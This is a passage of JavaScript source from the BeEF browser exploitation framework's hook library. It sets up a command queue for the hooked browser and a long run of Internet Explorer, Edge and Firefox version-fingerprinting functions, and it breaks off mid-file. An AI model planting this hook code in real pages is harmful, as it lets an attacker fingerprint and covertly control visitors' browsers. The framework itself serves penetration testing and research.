  3369. // See the file 'doc/COPYING' for copying permission
  3370. //
  3371.  
  3372. /*!
  3373. * BeEF JS Library 0.4.7.0-alpha
  3374. * Register the BeEF JS on the window object.
  3375. */
  3376.  
  3377. $j = jQuery.noConflict();
  3378.  
  3379. if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
  3380.  
  3381. var BeefJS = {
  3382.  
  3383. version: '0.4.7.0-alpha',
  3384.  
  3385. // This get set to true during window.onload(). It's a useful hack when messing with document.write().
  3386. pageIsLoaded: false,
  3387.  
  3388. // An array containing functions to be executed by the window.onpopstate() method.
  3389. onpopstate: new Array(),
  3390.  
  3391. // An array containing functions to be executed by the window.onclose() method.
  3392. onclose: new Array(),
  3393.  
  3394. // An array containing functions to be executed by Beef.
  3395. commands: new Array(),
  3396.  
  3397. // An array containing all the BeEF JS components.
  3398. components: new Array(),
  3399.  
  3400. /**
  3401. * Adds a function to display debug messages (wraps console.log())
  3402. * @param: {string} the debug string to return
  3403. */
  3404. debug: function(msg) {
  3405. if (!false) return;
  3406. if (typeof console == "object" && typeof console.log == "function") {
  3407. var currentdate = new Date();
  3408. var pad = function(n){return ("0" + n).slice(-2);}
  3409. var datetime = currentdate.getFullYear() + "-"
  3410. + pad(currentdate.getMonth()+1) + "-"
  3411. + pad(currentdate.getDate()) + " "
  3412. + pad(currentdate.getHours()) + ":"
  3413. + pad(currentdate.getMinutes()) + ":"
  3414. + pad(currentdate.getSeconds());
  3415. console.log('['+datetime+'] '+msg);
  3416. } else {
  3417. // TODO: maybe add a callback to BeEF server for debugging purposes
  3418. //window.alert(msg);
  3419. }
  3420. },
  3421.  
  3422. /**
  3423. * Adds a function to execute.
  3424. * @param: {Function} the function to execute.
  3425. */
  3426. execute: function(fn) {
  3427. if ( typeof beef.websocket == "undefined"){
  3428. this.commands.push(fn);
  3429. }else{
  3430. fn();
  3431. }
  3432. },
  3433.  
  3434. /**
  3435. * Registers a component in BeEF JS.
  3436. * @params: {String} the component.
  3437. *
  3438. * Components are very important to register so the framework does not
  3439. * send them back over and over again.
  3440. */
  3441. regCmp: function(component) {
  3442. this.components.push(component);
  3443. }
  3444.  
  3445. };
  3446.  
  3447. window.beef = BeefJS;
  3448. }
  3449.  
  3450.  
  3451. //
  3452. // Copyright (c) 2006-2018 Wade Alcorn - [email protected]
  3453. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  3454. // See the file 'doc/COPYING' for copying permission
  3455. //
  3456.  
  3457. /**
  3458. * @literal object: beef.browser
  3459. *
  3460. * Basic browser functions.
  3461. */
  3462. beef.browser = {
  3463.  
  3464. /**
  3465. * Returns the user agent that the browser is claiming to be.
  3466. * @example: beef.browser.getBrowserReportedName()
  3467. */
  3468. getBrowserReportedName: function () {
  3469. return navigator.userAgent;
  3470. },
  3471.  
  3472. /**
  3473. * Returns true if Avant Browser.
  3474. * @example: beef.browser.isA()
  3475. */
  3476. isA: function () {
  3477. return window.navigator.userAgent.match(/Avant TriCore/) != null;
  3478. },
  3479.  
  3480. /**
  3481. * Returns true if Iceweasel.
  3482. * @example: beef.browser.isIceweasel()
  3483. */
  3484. isIceweasel: function () {
  3485. return window.navigator.userAgent.match(/Iceweasel\/\d+\.\d/) != null;
  3486. },
  3487.  
  3488. /**
  3489. * Returns true if Midori.
  3490. * @example: beef.browser.isMidori()
  3491. */
  3492. isMidori: function () {
  3493. return window.navigator.userAgent.match(/Midori\/\d+\.\d/) != null;
  3494. },
  3495.  
  3496. /**
  3497. * Returns true if Odyssey
  3498. * @example: beef.browser.isOdyssey()
  3499. */
  3500. isOdyssey: function () {
  3501. return (window.navigator.userAgent.match(/Odyssey Web Browser/) != null && window.navigator.userAgent.match(/OWB\/\d+\.\d/) != null);
  3502. },
  3503.  
  3504. /**
  3505. * Returns true if Brave
  3506. * @example: beef.browser.isBrave()
  3507. */
  3508. isBrave: function(){
  3509. return (window.navigator.userAgent.match(/brave\/\d+\.\d/) != null && window.navigator.userAgent.match(/Brave\/\d+\.\d/) != null);
  3510. },
  3511.  
  3512. /**
  3513. * Returns true if IE6.
  3514. * @example: beef.browser.isIE6()
  3515. */
  3516. isIE6: function () {
  3517. return !window.XMLHttpRequest && !window.globalStorage;
  3518. },
  3519.  
  3520. /**
  3521. * Returns true if IE7.
  3522. * @example: beef.browser.isIE7()
  3523. */
  3524. isIE7: function () {
  3525. return !!window.XMLHttpRequest && !window.chrome && !window.opera && !window.getComputedStyle && !window.globalStorage && !document.documentMode;
  3526. },
  3527.  
  3528. /**
  3529. * Returns true if IE8.
  3530. * @example: beef.browser.isIE8()
  3531. */
  3532. isIE8: function () {
  3533. return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !window.performance;
  3534. },
  3535.  
  3536. /**
  3537. * Returns true if IE9.
  3538. * @example: beef.browser.isIE9()
  3539. */
  3540. isIE9: function () {
  3541. return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints === "undefined";
  3542. },
  3543.  
  3544. /**
  3545. *
  3546. * Returns true if IE10.
  3547. * @example: beef.browser.isIE10()
  3548. */
  3549. isIE10: function () {
  3550. return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints !== "undefined";
  3551. },
  3552.  
  3553. /**
  3554. *
  3555. * Returns true if IE11.
  3556. * @example: beef.browser.isIE11()
  3557. */
  3558. isIE11: function () {
  3559. return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.performance && typeof navigator.msMaxTouchPoints !== "undefined" && typeof document.selection === "undefined" && typeof document.createStyleSheet === "undefined" && typeof window.createPopup === "undefined" && typeof window.XDomainRequest === "undefined";
  3560. },
  3561.  
  3562. /**
  3563. *
  3564. * Returns true if Edge.
  3565. * @example: beef.browser.isEdge()
  3566. */
  3567. isEdge: function () {
  3568. return !beef.browser.isIE() && !!window.StyleMedia;
  3569. },
  3570.  
  3571. /**
  3572. * Returns true if IE.
  3573. * @example: beef.browser.isIE()
  3574. */
  3575. isIE: function () {
  3576. return this.isIE6() || this.isIE7() || this.isIE8() || this.isIE9() || this.isIE10() || this.isIE11();
  3577. },
  3578.  
  3579. /**
  3580. * Returns true if FF2.
  3581. * @example: beef.browser.isFF2()
  3582. */
  3583. isFF2: function () {
  3584. return !!window.globalStorage && !window.postMessage;
  3585. },
  3586.  
  3587. /**
  3588. * Returns true if FF3.
  3589. * @example: beef.browser.isFF3()
  3590. */
  3591. isFF3: function () {
  3592. return !!window.globalStorage && !!window.postMessage && !JSON.parse;
  3593. },
  3594.  
  3595. /**
  3596. * Returns true if FF3.5.
  3597. * @example: beef.browser.isFF3_5()
  3598. */
  3599. isFF3_5: function () {
  3600. return !!window.globalStorage && !!JSON.parse && !window.FileReader;
  3601. },
  3602.  
  3603. /**
  3604. * Returns true if FF3.6.
  3605. * @example: beef.browser.isFF3_6()
  3606. */
  3607. isFF3_6: function () {
  3608. return !!window.globalStorage && !!window.FileReader && !window.multitouchData && !window.history.replaceState;
  3609. },
  3610.  
  3611. /**
  3612. * Returns true if FF4.
  3613. * @example: beef.browser.isFF4()
  3614. */
  3615. isFF4: function () {
  3616. return !!window.globalStorage && !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/4\./) != null;
  3617. },
  3618.  
  3619. /**
  3620. * Returns true if FF5.
  3621. * @example: beef.browser.isFF5()
  3622. */
  3623. isFF5: function () {
  3624. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/5\./) != null;
  3625. },
  3626.  
  3627. /**
  3628. * Returns true if FF6.
  3629. * @example: beef.browser.isFF6()
  3630. */
  3631. isFF6: function () {
  3632. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/6\./) != null;
  3633. },
  3634.  
  3635. /**
  3636. * Returns true if FF7.
  3637. * @example: beef.browser.isFF7()
  3638. */
  3639. isFF7: function () {
  3640. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/7\./) != null;
  3641. },
  3642.  
  3643. /**
  3644. * Returns true if FF8.
  3645. * @example: beef.browser.isFF8()
  3646. */
  3647. isFF8: function () {
  3648. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/8\./) != null;
  3649. },
  3650.  
  3651. /**
  3652. * Returns true if FF9.
  3653. * @example: beef.browser.isFF9()
  3654. */
  3655. isFF9: function () {
  3656. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/9\./) != null;
  3657. },
  3658.  
  3659. /**
  3660. * Returns true if FF10.
  3661. * @example: beef.browser.isFF10()
  3662. */
  3663. isFF10: function () {
  3664. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/10\./) != null;
  3665. },
  3666.  
  3667. /**
  3668. * Returns true if FF11.
  3669. * @example: beef.browser.isFF11()
  3670. */
  3671. isFF11: function () {
  3672. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/11\./) != null;
  3673. },
  3674.  
  3675. /**
  3676. * Returns true if FF12
  3677. * @example: beef.browser.isFF12()
  3678. */
  3679. isFF12: function () {
  3680. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/12\./) != null;
  3681. },
  3682.  
  3683. /**
  3684. * Returns true if FF13
  3685. * @example: beef.browser.isFF13()
  3686. */
  3687. isFF13: function () {
  3688. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/13\./) != null;
  3689. },
  3690.  
  3691. /**
  3692. * Returns true if FF14
  3693. * @example: beef.browser.isFF14()
  3694. */
  3695. isFF14: function () {
  3696. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/14\./) != null;
  3697. },
  3698.  
  3699. /**
  3700. * Returns true if FF15
  3701. * @example: beef.browser.isFF15()
  3702. */
  3703. isFF15: function () {
  3704. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/15\./) != null;
  3705. },
  3706.  
  3707. /**
  3708. * Returns true if FF16
  3709. * @example: beef.browser.isFF16()
  3710. */
  3711. isFF16: function () {
  3712. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/16\./) != null;
  3713. },
  3714.  
  3715. /**
  3716. * Returns true if FF17
  3717. * @example: beef.browser.isFF17()
  3718. */
  3719. isFF17: function () {
  3720. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/17\./) != null;
  3721. },
  3722.  
  3723. /**
  3724. * Returns true if FF18
  3725. * @example: beef.browser.isFF18()
  3726. */
  3727. isFF18: function () {
  3728. return !!window.devicePixelRatio && !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/18\./) != null;
  3729. },
  3730.  
  3731. /**
  3732. * Returns true if FF19
  3733. * @example: beef.browser.isFF19()
  3734. */
  3735. isFF19: function () {
  3736. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && window.navigator.userAgent.match(/Firefox\/19\./) != null;
  3737. },
  3738.  
  3739. /**
  3740. * Returns true if FF20
  3741. * @example: beef.browser.isFF20()
  3742. */
  3743. isFF20: function () {
  3744. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && window.navigator.userAgent.match(/Firefox\/20\./) != null;
  3745. },
  3746.  
  3747. /**
  3748. * Returns true if FF21
  3749. * @example: beef.browser.isFF21()
  3750. */
  3751. isFF21: function () {
  3752. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/21\./) != null;
  3753. },
  3754.  
  3755. /**
  3756. * Returns true if FF22
  3757. * @example: beef.browser.isFF22()
  3758. */
  3759. isFF22: function () {
  3760. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/22\./) != null;
  3761. },
  3762.  
  3763. /**
  3764. * Returns true if FF23
  3765. * @example: beef.browser.isFF23()
  3766. */
  3767. isFF23: function () {
  3768. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/23\./) != null;
  3769. },
  3770.  
  3771. /**
  3772. * Returns true if FF24
  3773. * @example: beef.browser.isFF24()
  3774. */
  3775. isFF24: function () {
  3776. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/24\./) != null;
  3777. },
  3778.  
  3779. /**
  3780. * Returns true if FF25
  3781. * @example: beef.browser.isFF25()
  3782. */
  3783. isFF25: function () {
  3784. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/25\./) != null;
  3785. },
  3786.  
  3787. /**
  3788. * Returns true if FF26
  3789. * @example: beef.browser.isFF26()
  3790. */
  3791. isFF26: function () {
  3792. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/26./) != null;
  3793. },
  3794.  
  3795. /**
  3796. * Returns true if FF27
  3797. * @example: beef.browser.isFF27()
  3798. */
  3799. isFF27: function () {
  3800. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && window.navigator.userAgent.match(/Firefox\/27./) != null;
  3801. },
  3802.  
  3803. /**
  3804. * Returns true if FF28
  3805. * @example: beef.browser.isFF28()
  3806. */
  3807. isFF28: function () {
  3808. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt !== 'function' && window.navigator.userAgent.match(/Firefox\/28./) != null;
  3809. },
  3810.  
  3811. /**
  3812. * Returns true if FF29
  3813. * @example: beef.browser.isFF29()
  3814. */
  3815. isFF29: function () {
  3816. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/29./) != null;
  3817. },
  3818.  
  3819. /**
  3820. * Returns true if FF30
  3821. * @example: beef.browser.isFF30()
  3822. */
  3823. isFF30: function () {
  3824. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/30./) != null;
  3825. },
  3826.  
  3827. /**
  3828. * Returns true if FF31
  3829. * @example: beef.browser.isFF31()
  3830. */
  3831. isFF31: function () {
  3832. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/31./) != null;
  3833. },
  3834.  
  3835. /**
  3836. * Returns true if FF32
  3837. * @example: beef.browser.isFF32()
  3838. */
  3839. isFF32: function () {
  3840. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/32./) != null;
  3841. },
  3842.  
  3843. /**
  3844. * Returns true if FF33
  3845. * @example: beef.browser.isFF33()
  3846. */
  3847. isFF33: function () {
  3848. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/33./) != null;
  3849. },
  3850.  
  3851. /**
  3852. * Returns true if FF34
  3853. * @example: beef.browser.isFF34()
  3854. */
  3855. isFF34: function () {
  3856. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/34./) != null;
  3857. },
  3858.  
  3859. /**
  3860. * Returns true if FF35
  3861. * @example: beef.browser.isFF35()
  3862. */
  3863. isFF35: function () {
  3864. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/35./) != null;
  3865. },
  3866.  
  3867. /**
  3868. * Returns true if FF36
  3869. * @example: beef.browser.isFF36()
  3870. */
  3871. isFF36: function () {
  3872. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/36./) != null;
  3873. },
  3874.  
  3875. /**
  3876. * Returns true if FF37
  3877. * @example: beef.browser.isFF37()
  3878. */
  3879. isFF37: function () {
  3880. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/37./) != null;
  3881. },
  3882.  
  3883. /**
  3884. * Returns true if FF38
  3885. * @example: beef.browser.isFF38()
  3886. */
  3887. isFF38: function () {
  3888. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/38./) != null;
  3889. },
  3890.  
  3891. /**
  3892. * Returns true if FF39
  3893. * @example: beef.browser.isFF39()
  3894. */
  3895. isFF39: function () {
  3896. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/39./) != null;
  3897. },
  3898.  
  3899. /**
  3900. * Returns true if FF40
  3901. * @example: beef.browser.isFF40()
  3902. */
  3903. isFF40: function () {
  3904. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/40./) != null;
  3905. },
  3906.  
  3907. /**
  3908. * Returns true if FF41
  3909. * @example: beef.browser.isFF41()
  3910. */
  3911. isFF41: function () {
  3912. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/41./) != null;
  3913. },
  3914.  
  3915. /**
  3916. * Returns true if FF42
  3917. * @example: beef.browser.isFF42()
  3918. */
  3919. isFF42: function () {
  3920. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/42./) != null;
  3921. },
  3922.  
  3923. /**
  3924. * Returns true if FF43
  3925. * @example: beef.browser.isFF43()
  3926. */
  3927. isFF43: function () {
  3928. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/43./) != null;
  3929. },
  3930.  
  3931. /**
  3932. * Returns true if FF44
  3933. * @example: beef.browser.isFF44()
  3934. */
  3935. isFF44: function () {
  3936. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/44./) != null;
  3937. },
  3938.  
  3939. /**
  3940. * Returns true if FF45
  3941. * @example: beef.browser.isFF45()
  3942. */
  3943. isFF45: function () {
  3944. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/45./) != null;
  3945. },
  3946.  
  3947. /**
  3948. * Returns true if FF46
  3949. * @example: beef.browser.isFF46()
  3950. */
  3951. isFF46: function () {
  3952. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/46./) != null;
  3953. },
  3954.  
  3955. /**
  3956. * Returns true if FF47
  3957. * @example: beef.browser.isFF47()
  3958. */
  3959. isFF47: function () {
  3960. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/47./) != null;
  3961. },
  3962.  
  3963. /**
  3964. * Returns true if FF48
  3965. * @example: beef.browser.isFF48()
  3966. */
  3967. isFF48: function () {
  3968. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/48./) != null;
  3969. },
  3970.  
  3971. /**
  3972. * Returns true if FF49
  3973. * @example: beef.browser.isFF49()
  3974. */
  3975. isFF49: function () {
  3976. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/49./) != null;
  3977. },
  3978.  
  3979. /**
  3980. * Returns true if FF50
  3981. * @example: beef.browser.isFF50()
  3982. */
  3983. isFF50: function () {
  3984. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/50./) != null;
  3985. },
  3986.  
  3987. /**
  3988. * Returns true if FF51
  3989. * @example: beef.browser.isFF51()
  3990. */
  3991. isFF51: function () {
  3992. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/51./) != null;
  3993. },
  3994.  
  3995. /**
  3996. * Returns true if FF52
  3997. * @example: beef.browser.isFF52()
  3998. */
  3999. isFF52: function () {
  4000. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/52./) != null;
  4001. },
  4002.  
  4003. /**
  4004. * Returns true if FF53
  4005. * @example: beef.browser.isFF53()
  4006. */
  4007. isFF53: function () {
  4008. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/53./) != null;
  4009. },
  4010.  
  4011. /**
  4012. * Returns true if FF54
  4013. * @example: beef.browser.isFF54()
  4014. */
  4015. isFF54: function () {
  4016. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/54./) != null;
  4017. },
  4018.  
  4019. /**
  4020. * Returns true if FF55
  4021. * @example: beef.browser.isFF55()
  4022. */
  4023. isFF55: function () {
  4024. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/55./) != null;
  4025. },
  4026.  
  4027. /**
  4028. * Returns true if FF56
  4029. * @example: beef.browser.isFF56()
  4030. */
  4031. isFF56: function () {
  4032. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/56./) != null;
  4033. },
  4034.  
  4035. /**
  4036. * Returns true if FF57
  4037. * @example: beef.browser.isFF57()
  4038. */
  4039. isFF57: function () {
  4040. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/57./) != null;
  4041. },
  4042.  
  4043. /**
  4044. * Returns true if FF58
  4045. * @example: beef.browser.isFF58()
  4046. */
  4047. isFF58: function () {
  4048. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/58./) != null;
  4049. },
  4050.  
  4051. /**
  4052. * Returns true if FF.
  4053. * @example: beef.browser.isFF()
  4054. */
  4055. isFF: function () {
